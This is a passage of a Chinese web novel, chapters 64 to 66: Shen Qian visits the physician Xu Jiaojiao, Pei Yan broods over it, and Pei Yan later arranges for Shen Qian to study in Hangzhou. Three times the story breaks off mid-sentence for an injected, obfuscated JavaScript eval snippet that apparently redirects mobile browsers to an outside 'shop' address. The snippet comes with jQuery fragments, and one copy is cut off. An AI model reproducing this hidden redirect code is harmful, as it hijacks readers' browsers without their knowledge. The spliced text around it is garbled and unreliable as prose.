到那时,她可以安心开她的药铺,安心种她的草药,安心过她一直向往的、平静安稳的日子。 而他,大约早已奉旨回京,与这江南小城再无瓜葛吧! 裴宴将最后一份卷宗放回架上,吹熄了案头的灯。 64. 第64章 沈谦来访 自从那日裴宴说了那些话后,许娇娇心里总有些说不清道不明的心事,这一日,因为药铺确实病人少了很多,张东家便让她和廖大夫万大夫轮着休息两日。今日轮到她休,她便将心事撇过一边,放在了准备过冬上。静尘和静心更是忙碌——按照许娇娇的吩咐,她们从附近几户养鸭鹅的人家收来了几大袋羽毛,此刻正摊在院子里晾晒。 “这些毛要先晾干,仔细拣出里头的硬梗。”许娇娇蹲在竹席旁,戴着自己缝制的粗布口罩,一边翻捡着羽毛,一边轻声对静尘和静心解释道,“然后用大锅煮,加些皂角或草木灰,去一去腥气和油脂。煮透后捞出来,再反复漂洗,直到水清为止。” 静心拈起一根鹅绒,对着阳光眯眼看:“这么软的毛,当真能缝进被子里御寒?我从前只听人用芦花、柳絮做褥子。” “鹅绒鸭绒最是轻暖。”许娇娇微笑道,“只是处理起来麻烦些。这些毛洗净晒干后,还要用小筛子细细筛过,只留下最软最细的绒朵。然后缝进双层细布里,格子要密,针脚要匀,才不会跑绒。” 正说着,门外忽然传来叩门声。 静心擦了擦手:“我去看看。” 门一开,只见一个十二三岁的小厮立在门外,穿着半新的青布短衫,手里提着两个精致的点心盒子,盒盖上印着“馥郁楼”三个烫金小字。他身后,沈谦穿着一身月白色细葛直裰,外罩淡青色云纹夹衫,负手而立,面容清减了几分,却更显温润儒雅。 “静心师父。”沈谦微微颔首,目光却不由自主地越过她,往院内看去。 静心忙侧身让开:“沈公子怎么来了?快请进。” 沈谦缓步入院,目光在院中扫过——竹席上摊着的羽毛,井台边晾着的草药,老柳树下石桌上摊开的医书,还有正蹲在席旁、闻声抬头的许娇娇。 她今日穿了身半旧的藕荷色衣裙,袖子挽到肘部,露出两截白皙的小臂,头上只用一根木簪松松绾着发,几缕碎发垂在颊边。大约是忙着的缘故,脸颊微红,鼻尖沁着细细的汗珠,眼睛在秋阳下亮得惊人。 沈谦只觉得心头某处,轻轻动了一下。 “沈公子。”许娇娇已起身,拍了拍手上的浮尘,上前见礼,“您怎么来了?身子可大好了?” 沈谦忙虚扶一把:“许娘子不必多礼。我已痊愈了,今日……是路过此处,顺道来看看娘子。”他说着,示意小厮将点心递上,“区区薄礼,不成敬意。当日多亏娘子妙手回春,沈某方能捡回这条命。” 许娇娇让静尘接了点心,温声道:“公子言重了。治病救人乃医者本分,况且疫病期间,若非公子挺身而出协助安置灾民,也不会累得染病。该是小女向郎君道谢才是。” 两人这般客气着,一时竟有些无话。院子里静了下来,只有风吹树叶的沙沙声,和旺财在墙角扒拉羽毛的窸窣声。 沈谦的目光不由自主地又落在许娇娇脸上。比起疫病期间,她气色好了许多,眉眼间那种挥之不去的疲惫也淡了,只是人似乎清瘦了些,下巴尖尖的,衬得那双眼睛越发大了。 他忽然想起在仁心堂那些日子。昏沉中,总能听见她清泠柔和的声音,耐心地劝他喝药;偶尔睁眼,会看见她坐在一旁,就着油灯翻阅医书,侧脸沉静专注;还有那次换药,她指尖微凉,动作却极轻,生怕弄疼了他…… 那些画面,这些日子总在他脑海中浮现。起初他只当是感恩,可渐渐地,他发现不是。他会下意识留意与她有关的消息,会打听她是否安好,会惦记她独居在此是否缺什么。甚至中秋那夜,府中家宴热闹,他坐在席间,看着天上那轮满月,心里想的却是:她一个人,这个节过得可好? 所以今日,他推了同窗的诗会,寻了个由头便来了。带着馥郁楼的点心,听下人说,那是菰城最好的点心铺子,小娘子们都喜欢。 “娘子这是在……”沈谦定了定神,指着竹席上的羽毛,找了个话头。 “哦,准备做些过冬的铺盖。”许娇娇顺着他的目光看去,“这些鹅绒鸭绒处理干净了,缝进被子里,冬日里盖着轻暖。” 沈谦有些惊讶:“用羽毛做被?这倒是新奇。寻常人家多用棉絮,也有用芦花的,羽毛……不怕有气味么?” “所以要反复煮洗。”许娇娇见他感兴趣,便细细解释起来,“其实古已有之。《岭外代答》中就有记载,西南夷人取鸟羽为被,轻暖胜于纤纩。只是处理起来繁琐,少有人做罢了。” 她说话时,眼神清亮,语气平和,没有半点卖弄的意思,只是单纯地分享所知。阳光透过柳树叶的缝隙洒在她脸上,映得肌肤莹润透明,那专注的神情,让沈谦看得有些移不开眼。 他轻咳一声,掩饰住心头那点异样,温声道:“娘子博闻强识,沈某佩服。”顿了顿,又关切道,“这些活计繁琐,娘子身子才刚好些,莫要太过劳累。” “不碍事的,有静尘静心帮我。”许娇娇笑了笑,引他到柳树下的石凳上坐下,“公子稍坐,我去沏茶。” “不必麻烦……”沈谦话未说完,许娇娇已转身往厨房去了。 他坐在石凳上,目光追随着她的背影。她走路的样子很好看,步子轻盈,腰背挺直,没有寻常女子那种刻意的袅娜,却自有一种清扬的气度。 小院简陋,却收拾得干净整齐。墙角那丛月季开得正好,深红浅粉,在秋阳下灼灼耀眼;井台边晾着的草药散发出清苦的香气;厨房门口,静尘和静心正低声说着什么,手脚麻利地收拾着羽毛。 一切都显得那么安宁,那么……有烟火气。 沈谦忽然觉得,自己往日读的那些诗书,参加的那些诗会文宴,那些风花雪月、清谈高论,在这样的安宁面前,竟有些虚浮了。 许娇娇很快端了茶出来。粗瓷茶壶,两个同样质地的杯子,茶是普通的野菊茶,热气袅袅,散发着淡淡的清香。 “陋室粗茶,公子莫怪。”她斟了一杯推到他面前。 沈谦双手接过:“娘子客气了。”他抿了一口,茶水温热,微苦回甘,恰如此刻心境。 两人对坐,一时又有些沉默。 沈谦握着茶杯,指尖无意识地摩挲着粗糙的杯壁。那磕痕硌着指腹,细细的,微涩,像某些说不出口的话,在喉咙里轻轻磨着。 他终是开了口。 “其实今日来,除了道谢,还有一事……”他顿了顿,抬眼看她,“我听下人说,娘子坐诊的张记生药铺遇到了麻烦?” 许娇娇微微一怔,随即点头:“你也听说了!” “是,下人说,是归平县王兆贵的铺子在大肆囤积药材?”沈谦声音不自觉的放大了些,随即意识到不妥,放缓了语气,“我虽然是读书人,却也听说过归平县王兆贵王大官人,听说是归平县的一霸。只因有个司户参军的兄弟,便嚣张跋扈如斯,那庆和堂便是他的产业……莫非他要对娘子不利?” 许娇娇抬眼看他。那双清澈的眼眸里没有惊慌,只有一种沉静的近乎坦然的从容。 “公子不必担心,”她说,“张记是遇到了一些事,但张东家能应付,小女也无妨。” 她不肯多说,沈谦也不好再问,只是心中那点担忧却更深了。他看着她平静的侧脸,心头忽然涌上一股强烈的、几乎难以抑制的冲动——想护着她,想让她不必这般小心翼翼,想让她能安心行医,过安稳的日子。 这种冲动如此强烈,以至于他几乎要脱口而出:若有难处,沈家可以帮你。 可他终究没有说出口。 不是因为不愿,而是因为,他忽然意识到,这样的话,或许会让她觉得是施舍,是居高临下的怜悯。而她,绝不是会接受这样帮助的女子。 “娘子若有什么需要帮忙的,”沈谦斟酌着字句,语气恳切,“尽管开口。沈某虽不才,在菰城也还有些人脉,或许能尽绵薄之力。” 许娇娇抬眼看他,眼中闪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328041|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过一丝讶异,随即化为温煦的笑意:“多谢公子好意。若有需要,小女不会客气的。” 她说得客气,沈谦却知道,她大概率是不会来找他的。 心头掠过一丝淡淡的失落,却也更添了几分欣赏。自立,自重,不攀附,不诉苦。这样的女子,他平生仅见。 又闲谈了几句,多是沈谦问些医理药性,许娇娇一一解答。她说起医术时,眼神格外明亮,言语清晰,深入浅出,连沈谦这个外行都听得入神。 不知不觉,日头已偏西。 小厮在门外探头探脑,沈谦知道该告辞了。他起身,目光在院中最后流连一圈,落在许娇娇脸上:“今日叨扰娘子了。” “公子言重了。”许娇娇送他到门口。 沈谦站在门槛外,转身看她。夕阳的余晖给她周身镀上了一层柔和的金边,她微微仰头看他,眼眸清澈如秋水。 “娘子保重。”他轻声说。 “公子也是。” 沈谦点点头,转身离去。走了几步,忍不住又回头——她还站在门口,见他回头,微微一怔,随即颔首示意。 他转过头,脚步却有些发沉。 心底那份说不清道不明的情愫,经此一见,非但没有淡去,反而愈发清晰了。 他想见她。想听她说话。想看她专注做事的样子。甚至……想护她周全,让她不必再这般如履薄冰地活着。 这种念头一旦生出,便如藤蔓般疯长,缠绕心头。 沈谦轻轻叹了口气。 他知道,这条路不好走。家世、门第、父母的期许、世俗的眼光……都是横亘在前的沟壑。 可是…… 他回头,巷子深处那扇木门已关上了。夕阳将他的影子拉得很长,孤零零地铺在青石板路上。 可是,他放不下。 与此同时,小院内,许娇娇闩好门,转身回到院中。 静尘正在收拾茶具,见她回来,轻声问:“沈公子走了?” “嗯。”许娇娇在石凳上坐下,望着竹席上的羽毛出神。 静尘犹豫了一下,还是开口:“娇杏,我看沈公子对你……很是上心。” 许娇娇回过神,淡淡一笑:“沈公子是知恩图报的君子,今日来,是为谢救命之恩。” “不止如此。”静尘摇头,“我看他看你的眼神……不一样。” 许娇娇沉默了片刻,轻声道:“师姐,我与沈公子,云泥之别。这些话,以后莫要再说了。” 静尘看着她平静的侧脸,欲言又止,终是叹了口气,不再多言。 许娇娇低头,继续拣选羽毛。指尖拂过柔软的绒朵,心思却有些飘远。 沈谦的心意,她何尝感觉不到?那样温润守礼的君子,那样不加掩饰的关切。 可是…… 想起那夜月光下,裴宴离去时的背影。想起他派人暗中保护这小院,想起他应下中秋之约,想起他听她陈述案情时的认真。 两个身影在脑海中交错,一个如月色清寒,一个如春水温润。让她的心绪有些纷乱。 许娇娇甩甩头,将那些杂念抛开。 眼下最重要的,不是这些儿女情长。而是水仙姑,是王大官人,是那些尚未清算的旧账,是头顶悬着的那把利刃。 她要活下去。要安生活下去。 至于其他……且随缘吧。 夕阳彻底沉下去了,暮色四合。小院里点起了油灯,昏黄的光晕中,三个女子继续忙碌着,将那些洁白的绒朵,一点点收集起来。 而巷外,沈谦缓步走着,脑海中尽是那双清澈的眼眸。 他知道自己该克制,该理智。 可是心这东西,一旦动了,又岂是理智能全然掌控的? 秋风吹过,带来些许凉意。沈谦拢了拢衣袖,抬头望天——月牙初升,清辉淡淡。 来日方长。 他在心中默念。 65. 第65章裴宴的心思 长风是在午后得知柳枝巷那场探访的。 他手下一个机灵的小子响儿,按例在巷口“闲逛”时瞧见了沈谦主仆,便留了心。等沈谦离去,那小子寻了个由头偶遇了刘寡妇,又把了刘寡妇几个钱,三言两语便套出了话。沈家那位温文尔雅的嫡长孙,在许娘子院里待了大半个时辰,还带了馥郁楼的点心。 消息报到长风这儿时,他正蹲在行辕后院的石阶上,龇牙咧嘴地揉着屁股。虽说那行刑的同僚放了水,可终究是实打实地挨了整整二十军棍,坐卧之间总还透着几分不自在。 “头儿,这事儿……要报给安抚使吗?”那小子觑着长风的脸色,小心翼翼地问。 长风揉屁股的手停了停,眉头拧了起来。 他当然知道该报。郎主吩咐过,柳枝巷那边的动静,事无巨细都要回禀。可一想到上回因许娘子的事挨的军棍,他又有些踌躇——倒不是怕疼,而是摸不准郎主如今对许娘子到底是个什么心思。 若是寻常关切,沈家公子去探望救命恩人,再正常不过,报了也无妨。 可若…… 长风脑子里闪过中秋那夜,郎主从许娘子院里出来时,唇角那丝极淡的、几乎看不清的弧度。还有这些日子,郎主虽从未明说,可每次自己提起柳枝巷的消息时,郎主总会不动声色地多听几句。 “报。”长风站起身,拍了拍衣摆上的灰,“该怎么报就怎么报。郎组自有分寸。” 话虽如此,他往书房去的脚步却比平日慢了些。走到廊下时,正碰见明月抱着剑从里头出来。 “怎么?”明月看他那副磨磨蹭蹭的样子,挑眉。 长风凑过去,压低声音把事儿说了。 明月听完,沉默片刻,只道:“如实禀报便是。”顿了顿,又补了一句,“别添油加醋。” “我是那种人吗?”长风瞪眼。 明月没理他,转身走了。 长风深吸一口气,整了整衣襟,抬手叩门。 “进。” 裴宴的声音从里头传来,平静无波。 书房里窗明几净,案头堆着厚厚的文书。裴宴坐在书案后,正低头写着什么。午后阳光透过窗棂洒进来,在他肩头镀上一层淡金,也照见他微蹙的眉心和紧抿的唇线。 “郎主。”长风躬身行礼,“柳枝巷那边……有些动静。” 裴宴笔锋未停,只淡淡道:“说。” “今日未时三刻,沈府大公子去了许娘子住处。”长风尽量让语气显得客观,“带了个小厮,提了两盒馥郁楼的点心。在院里待了约莫半个时辰,许娘子亲自沏茶招待。两人在树下说话,内容听不真切,但看情形……相谈甚欢。” 他顿了顿,偷眼去看裴宴的脸色。 裴宴依旧垂眸写着,笔尖在宣纸上沙沙作响,行云流水,不见半分滞涩。只是若细看,便会发现那笔锋在“沈谦”二字出口时,几不可察地凝了一瞬。 “还有呢?”裴宴问,声音依旧平稳。 “沈大公子走后,许娘子和静尘师父收拾了茶具,又继续拣选羽毛。”长风老老实实地道,“此外……沈大公子去时,许娘子正在院里晾晒鹅绒鸭绒,说是要做什么羽绒被。沈大公子对此颇感兴趣,许娘子便与他讲解了一番。” 裴宴终于停了笔。 他将笔搁在青玉笔山上,缓缓靠向椅背,抬眼看过来。那双眸子在午后阳光下显得格外深邃,像是静潭,表面波澜不惊,底下却暗流涌动。 “说了多久?”他问。 长风心头一跳:“约莫……一刻钟。” 裴宴沉默着,指尖在扶手上轻轻叩击。一下,两下,三下。节奏平稳,力度均匀,却莫名让人心头发紧。 书房里静得能听见窗外梧桐叶落的声响。 良久,裴宴才重新开口,语气听不出什么情绪:“沈谦的身子,看来是大好了。” “是。”长风忙道,“瞧着气色不错,说话也中气十足。” “嗯。”裴宴应了一声,目光重新落回案上的文书,似是随口问道,“馥郁楼的点心……什么馅的?” 长风一愣,没想到大人会问这个,挠挠头:“这个……属下没细问。不过馥郁楼最出名的是枣泥酥和荷花酥,想来该是这两样。” 裴宴没说话,只点了点头。 又是枣泥。 他想起中秋那夜,许娇娇切开的月饼,枣泥核桃馅的,她吃得眉眼弯弯,说这是她最喜欢的口味。 沈谦倒也用心。 这个念头一闪而过,随即被裴宴按了下去。他重新提笔,蘸了墨,在文书末尾落下自己的名字。笔锋凌厉,力透纸背。 “下去吧。”他淡淡道,“柳枝巷那边,继续盯着。若有异常,随时来报。” “是。”长风如蒙大赦,躬身退了出去。 门轻轻合上。 书房里重归寂静。裴宴写完最后一笔,将笔搁下,却没有立刻处理下一份文书。他站起身,走到窗前。 窗外秋色已深,庭中几株枫树染了红,在夕阳下灼灼如火。远处传来隐约的市井人声,热闹,鲜活,却与他此刻的心境格格不入。 沈谦。 他在心中默念这个名字。 世家嫡子,温润如玉,才学品性皆属上乘。更重要的是,他就在菰城,就在她身边。可以随时去探望,可以带她喜欢的点心,可以听她说那些琐碎的、关于羽绒被的讲究。 而自己呢? 裴宴垂眸,看着自己修长的手指。这双手批过无数文书,握过剑,执过印,却从未为她切过一块月饼,递过一杯热茶。 他远在京城,身负皇命,一举一动皆在众人眼中。即便此刻在江南,也是千头万绪,案牍劳形。他能给她的,不过是暗中派几个人护着,在听她陈情时认真听着,在中秋夜赴一场约。 除此之外,还能有什么? 裴宴闭上眼,深吸一口气。秋日的风从窗缝钻进来,带着凉意,拂在脸上,让他清醒了几分。 不该想的。 他重新睁开眼,眸中那点波澜已平息下去,恢复了往日的冷静自持。转身回到书案前,拿起下一份文书——是孟知州呈报的灾后重建进度,厚厚一沓,亟待批阅。 他坐下,提笔,蘸墨。 笔尖落在纸上,却迟迟没有写下第一个字。 眼前晃动的,竟是长风那句“相谈甚欢”。还有更早之前,在仁心堂草棚里,沈谦望向许娇娇时,眼中那种毫不掩饰的欣赏与柔和。 裴宴搁下笔,揉了揉眉心。 他忽然想起那夜在柳枝巷,她仰头看他,眼眸清澈如秋水,倒映着漫天星斗。她说“谢谢您能来”时,声音很轻,却像羽毛一样,轻轻搔在他心上。 当时他觉得,这样就够了。 可现在…… 门外传来脚步声,是明月的声音:“郎主,赵先生求见,关于漕运账目的事。” 裴宴敛了神色:“让他进来。” 赵先生是裴宴幕僚中最擅长筹算的,为人十分谨慎。他进来时,手里捧着一摞账册,面色凝重。 “公,下官核对了这三年的漕运开支,发现几处疑点。”赵先生将账册摊开,指着上面几行数字,“您看这里,嘉佑二十年的修堤款项,比往年多出了三成,可当年并无特大水患。还有这里,船只维护的费用,连续两年递增,但实际在册的漕船数量并未增加……” 裴宴凝神听着,指尖在账册上划过,目光锐利如刀。那些儿女情长的杂念,在此刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17331501|197528||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被彻底压下。他是钦差,身负皇命,江南漕运的贪腐大案才是他眼下最要紧的事。 可即便在听赵先生分析那些错综复杂的数字时,心底某个角落,仍有一个声音在低低地问: 沈谦今日与她,到底说了些什么? 这个念头如影随形,直到暮色渐沉,赵先生告退离去,书房里重归寂静。 长风再次进来添灯时,见裴宴仍坐在案前,手里拿着份文书,却久久未翻一页。烛火跳动,在他脸上投下明明灭灭的光影。 “郎主,”长风小心翼翼地问,“可要用晚饭?” 裴宴抬眼,眸色在烛光下显得有些深:“不必。”顿了顿,又道,“前日让你查的事,如何了?” 长风一愣,随即反应过来是指水月庵的水仙姑和王兆贵,忙道:“已有眉目。王兆贵在归平县的几处产业,确实与漕运有些牵扯。尤其是他那个弟弟王兆仁,在司户参军任上,经手过不少漕粮仓储的事。” “证据呢?” “还在搜集。”长风道,“王兆仁做事很小心,账面上几乎看不出破绽。 裴宴眸光一冷。如果轻易能让人看到破绽,那崔琰也不会让一个蠢货做他的干儿子了。“继续派人盯紧。”他沉声道,“尤其是和王兆仁来往密切的人员。” “是。” 长风应下,却没有立刻退出去。他犹豫了一下,低声道:“郎主,还有一事……许娘子那边,要不要加派人手?沈大公子今日这一去,怕是会引人注目。” 裴宴沉默片刻。 “不必。”他缓缓道,“照旧即可。” 加派人手,反而显得欲盖弥彰。沈谦去探望救命恩人,在旁人看来再正常不过。若自己反应过度,反倒会惹人疑心。 只是…… 裴宴指尖无意识地摩挲着案上的镇纸。那是一方青玉雕成的貔貅,触手温润,却带着夜的凉意。 “你下去吧。”他淡淡道。 长风退了出去。 书房里又只剩他一人。裴宴站起身,走到博古架前,从最上层取下一个锦盒。打开,里头是中秋那夜许娇娇送的月饼。她特意多做了些,让长风带回来的。枣泥核桃馅的,用油纸仔细包着,放了这些日子,早已不能吃了。 可他一直留着。谁也没给。 烛火摇曳,映着锦盒里那些圆润的饼身。裴宴拿起一块,指尖抚过上面清晰的花纹。那是她亲手刻的模子,印出的桂花图案。 他记得那夜月光下,她切月饼时专注的侧脸。记得她递给他时,眼中那点小小的期待。记得她说“这是我最喜欢的口味”时,唇角扬起的、浅浅的笑。 那么真实,那么温暖。 可这样的温暖,沈谦也能见到。甚至,或许能见得更多。 裴宴将月饼放回锦盒,合上盖子。动作很轻,却带着一种决绝的意味。 不该有的心思,就该彻底斩断。 他是镇国公府的世子,是奉旨南下的钦差。他的路早已注定——回京,复命,继续在朝堂上步步为营。至于江南这场邂逅,不过是他漫长人生中的一段插曲,终将随风散去。 而许娇娇…… 裴宴望向窗外。夜色已浓,星子稀疏。 她有她的路要走。或许在菰城开一间小医馆,种一院子草药,平安顺遂地过完这一生。而沈谦,或许是能陪她走这条路的人。 门第相当,品性相合,又对她有情。 这样也好。 裴宴转身回到书案前,重新提笔。烛火将他的影子投在墙上,挺拔,孤直,却透着一股说不出的寂寥。 笔尖落在纸上,墨迹氤开。 他写得很快,字字凌厉,仿佛要将心头那点不该有的波澜,彻底镇压下去。 66. 第66章 劝学 卯初时分,天光未明。 裴宴已在庭院中练了半个时辰的剑。剑锋破空之声在清冷的晨雾中格外清晰,玄色劲装的身影腾挪辗转,招式凌厉却不见丝毫浮躁,每一剑都稳而准,仿佛要将心头那些不该有的波澜,一并斩碎在剑气里。 长风来换值时,远远便瞧见了。他推了推靠在廊柱上打盹的明月,用下巴示意:“主子今日怎么起这般早?” 明月刚值了夜,眼底带着倦色,闻言抬眸望了一眼,淡淡道:“练剑需要理由么?” 长风撇撇嘴,却也不敢耽搁,快步上前侍立在一旁。待裴宴收了势,他忙递上汗巾,又让小厮捧来温水、布帕。 裴宴接过汗巾,随意擦了擦额角的薄汗,神色平静如常,只是那双眸子里映着尚未褪尽的夜色,显得格外深邃。 梳洗毕,用了简单的早饭。清粥、小菜,并几样细点。裴宴吃得不多,放下碗筷时,窗外天色已透出些微鱼肚白。 “去尚书第。”他忽然开口,声音里听不出什么情绪。 长风一怔,忙应道:“是,小的这就吩咐备车。” 他心里嘀咕,前几日老太爷还打发人来请,说想外孙了,郎主总说公务繁忙脱不开身。怎的今日突然要去?还赶这么早…… 马车沿着清晨寂静的街道行驶,轱辘声在青石板路上格外清晰。裴宴坐在车内,闭目养神,指尖无意识地摩挲着腰间玉佩的纹路。 尚书第侧门,看门的老仆河伯正打着哈欠卸门闩,一抬眼看见那辆熟悉的青帷马车,顿时一个激灵,睡意全无。 “表、表公子!”河伯慌忙打开门,一叠连声地朝里头喊,“快去禀报老太爷!表公子来了!” 又转身对裴宴躬身,满脸堆笑:“公子快请进!老太爷前几日还念叨您呢!” 裴宴微微颔首,带着长风踏入府中。晨雾未散,尚书第庭院里草木沾着露水,显得格外静谧。穿过两道回廊,便是沈老太爷日常起居、处理外事的“松涛斋”。 沈老太爷沈渊已起身,正在书房临帖。听闻外孙来了,他放下笔,脸上露出笑意:“让他进来。” 裴宴入内,在书房中央端端正跪下磕头:“孙儿给外祖父请安。许久未来探望,是孙儿不孝。” “起来吧。”沈老太爷声音沉稳,带着久居上位的威严,看向裴宴的眼神却满是慈爱,“听说你这些日子忙得脚不沾地,赈灾、防疫、还要查案。辛苦了。” 裴宴起身,在下方椅子坐了半边,恭敬道:“孙儿分内之事,不敢言苦。倒是外祖父,秋日天凉,要多保重身子。水患后庄子上的事,交给管事们办便是,何必亲自操劳?” 沈老太爷摆摆手:“庄子上的事你不懂,那些管事,你不盯着,他们便敢糊弄。田产是根本,马虎不得。”他顿了顿,打量裴宴,“今日怎么得空来了?可是有什么事?” “并无要事。”裴宴道,“只是许久未来请安,心中不安。再者,前些日子表哥病着,孙儿一直挂心,想来看看他如今可大好了。” 提起沈谦,沈老太爷神色缓和了些:“谦儿命大,总算熬过来了。这几日能下地走动了,只是人清减了不少。”他看向裴宴,“说起这个,还要多谢那位在张记坐诊的许娘子。谦儿这次能捡回条命,她的医术确实了得。” 裴宴垂眸:“许娘子医者仁心,是表哥福泽深厚。” 沈老太爷点点头,端起茶盏抿了一口,忽然问道:“听说前几日,谦儿去柳枝巷道谢了?” 裴宴心头微动,面上依旧平静:“是。表哥知恩图报,是该去的。” “嗯。”沈老太爷放下茶盏,手指在紫檀木椅扶手上轻轻叩击,“那许娘子……你对她了解多少?” 这话问得有些深意。裴宴抬眼看外祖父,见他目光如炬,似是随意一问,却又带着审视。 “孙儿与她接触不多。”裴宴斟酌字句,“只知她医术精湛,在疫病中立下大功。至于身世……似乎有些坎坷,但为人磊落,心性坚韧。” 沈老太爷静静听着,未置可否。书房里一时安静下来,只有窗外晨鸟啁啾。 良久,沈老太爷才缓缓开口:“谦儿今年十九了。” 裴宴心下一凛,知道外祖父要说到正题了。 “他父亲在京为官,将他托付给我教养,是希望他能专心读书,将来考取功名,光耀门楣。”沈老太爷语气严肃,“沈氏以诗书传家,谦儿是嫡长孙,肩上的担子不轻。” “是。”裴宴应道,“表哥天资聪颖,读书刻苦,将来必有大成。” “光在州学读书,还不够。”沈老太爷摇头,“菰城虽好,终究偏安一隅。谦儿需要更开阔的眼界,更厚重的积淀。” 裴宴心中一动,顺势道:“外祖父说的是。孙儿听说,杭州万松书院,名师云集,学风鼎盛。山长方老先生更是当世大儒,今冬要在书院开讲《策论》。若能得方老指点,于表哥的学业定有裨益。” 沈老太爷眼中闪过一丝亮光:“万松书院……方守正老先生?” “正是。”裴宴道,“方老致仕前是国子监祭酒,学问人品皆为世人所重。孙儿在京时,曾听座师多次提及,言语间颇为推崇。” “你说得对。”沈老太爷点头,他端起茶盏,却没有立刻喝,指腹缓缓摩挲着温润的瓷壁。“谦儿是该出去见见世面。万松书院的机会难得,不能错过。” 他放下茶盏时,背脊不自觉地挺直了几分,“方守正……”沈老太爷眼中掠过一丝极淡的追忆,“当年在都察院时,便以学问刚直闻名。我任户部尚书时,为漕粮改制之事,还曾与他有过数番笔墨往来。此人确是不俗。”他微微颔首,话语间不经意带出了昔年身份与视野,“让他指点谦儿,不止是学问上的进益,那份立于朝堂而不折的风骨眼界,更是别处难求的历练。” 他当即唤来管家,吩咐,:“去告诉大公子,让他即日起用心准备,十日后动身赴杭州。我亲自修书一封给方山长。昔日同朝为官,总还有几分香火情在。你挑选两个老成稳妥、略通文墨的得力家人随行,一应起居行程,须得仔细安排。再从账上支取二百两银子并五十两金叶子,足够他在杭州体面安置,专心向学。从库房取些常用的药材备着,再让陈老先生斟酌几味温补调理又不显药气的丸散,便于携带服用。到了杭州,先在书院附近寻一处清静雅洁的院子赁下,要离书院近,但不必最繁华喧闹处,环境以利于读书养性为上。所有用度,皆从公中出,务必周全,勿使大公子为杂事分心。” 管家垂首应诺。 沈老太爷吩咐完毕,目光转向窗外庭院,沉静片刻,才缓缓道:“少年人,是该出去经些风雨,见见天地了。”这话既是对孙辈的期望,亦隐约透出几分对自己当年迈出乡关、步入风云的感怀。 方守正在士林中的声望非同凡响,若能送沈谦入万松书院,得方老指点,那真是求之不得的机缘。 裴宴垂眸喝茶,掩去眼底一闪而过的复杂神色。事情成了,他该松口气的。可不知为何,心头那点烦躁并未散去,反而添了一丝说不清道不明的……愧意。 他毕竟利用了外祖父对孙儿的期望,达成了自己的私心。 “宴儿。”沈老太爷忽然开口。 裴宴抬眼:“外祖父。” 沈老太爷深深看他一眼,缓缓道:“你比谦儿只小了半岁,却沉稳得多。这些年,你在京中不易,外祖父都明白。” 这话说得有些突兀,裴宴心头微震,面上却不露分毫:“孙儿只是尽本分。” “本分……”沈老太爷重复这两个字,忽然问,“你这次来江南,除了赈灾查案,可还有别的打算?” 裴宴沉默片刻,坦然道:“孙儿奉皇命而来,自当以公务为重。至于其他暂无。” 沈老太爷点点头,不再多问。祖孙俩又说了会儿话,多是朝堂动向、江南政事。裴宴拣能说的答了,言辞谨慎,滴水不漏。 茶水续过两巡,沈老太爷放下茶盏,似是不经意般提起: “你那位继母……待你可好?” 这话问得直接,全无方才闲话家常的迂回。裴宴执杯的手微微一顿,随即恢复如常。 “郑国公府高门显贵,”他淡淡道,语气平静得像在说一件与己无关的事,“继夫人掌中馈十余年,府中上下井然有序。孙儿常年在衙署当差,回府的时日不多,并无龃龉。” 并无龃龉。 沈老太爷咀嚼着这四个字,心里泛起一丝酸涩。 他是看着这外孙长大的。虽然只是幼时那几年,却也足够他看明白这孩子的心性。从不会诉苦,从不肯示弱,再难的事也只说无妨,再重的担子也只道应当。 如今他说并无龃龉,那便不是没有委屈,而是委屈都被他一个人咽下去了。 郑国公裴简,早年丧妻,续娶了京中世家出身的章氏。章氏进门时,裴宴不过四五岁,正是最需要母亲照拂的年纪。可继母终究是继母,面子上客气周全,里子却是冷是暖,只有这孩子自己知道。 沈老太爷想起多年前,女儿还在世时来信,说起裴宴幼时体弱,冬日畏寒,夜里总要奶娘抱着睡。后来女儿去了,这孩子一个人被留在京城。 他没有问过这孩子,那些年是怎么过来的。此刻想问,却不知从何问起。 “你十二岁入了国子监读书,”沈老太爷放轻了声音,“那时候,有人替你打算过吗?” 裴宴没有立刻回答。 他望着茶盏中那汪澄黄的茶汤,汤面平静无波,倒映着窗棂投下的细碎光影。 郑国公府的宅邸在城东,五进的大院子,住着继母、四个弟妹,还有一干管事仆从。他住进院一间僻静的小厢房,离正院很远,离书房很近。继母每日晨昏定省待他和气周到,吃穿用度无一短缺,仆从们对他恭敬有礼,唤他“大公子”。 没有人为难他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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后来他长大了,入朝了,能在宫宴上远远看见阿姐了。她总是端庄得体,从不在人前流露半分情绪。只有偶尔的目光交汇,那极轻的一颔首,让他知道她一切都好。 他知道那不是真的。 可他不能问。她也永远不会说。 “你母亲去得早,”沈老太爷的声音将他的思绪拉回,“你父亲续弦后,你在郑国公府的处境……外祖父心里有数。” 他顿了顿,苍老的嗓音里透出些许愧怍:“那时候没能把你接回来,是外祖父对不住你。” 裴宴抬眼,看着对面这位曾经大越的二品大员,如今已是有些苍老的老人。 